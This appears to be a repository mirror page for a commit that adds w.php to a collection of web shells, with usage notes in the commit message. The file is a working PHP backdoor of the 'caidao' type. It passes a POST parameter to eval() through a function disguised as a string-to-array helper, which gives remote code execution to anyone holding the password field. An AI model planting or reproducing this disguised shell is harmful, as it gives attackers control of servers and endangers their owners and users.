mirror of
https://github.com/tennc/webshell
synced 2024-11-24 20:23:04 +00:00
Create w.php
usage: url : xxxxxx/xxx.php pwd : cmd <O>43cb006424cbf7b46dbca36c8ed79b69=eval($_POST['cmd'])</O> from : zone.wooyun.org 21720
This commit is contained in:
parent
171b8329ec
commit
baa5b59dee
1 changed files with 18 additions and 0 deletions
18
caidao-shell/w.php
Normal file
18
caidao-shell/w.php
Normal file
|
@ -0,0 +1,18 @@
|
|||
<?php
|
||||
|
||||
$config= trim($_POST['43cb006424cbf7b46dbca36c8ed79b69']);
|
||||
$info = string2array($config);
|
||||
|
||||
/**
|
||||
* 将字符串转换为数组
|
||||
*
|
||||
* @param string $data 字符串
|
||||
* @return array 返回数组格式,如果,data为空,则返回空数组
|
||||
*/
|
||||
function string2array($data) {
|
||||
if($data == '') return array();
|
||||
@eval("\$array = $data;");
|
||||
return $array;
|
||||
}
|
||||
|
||||
?>
|
Loading…
Reference in a new issue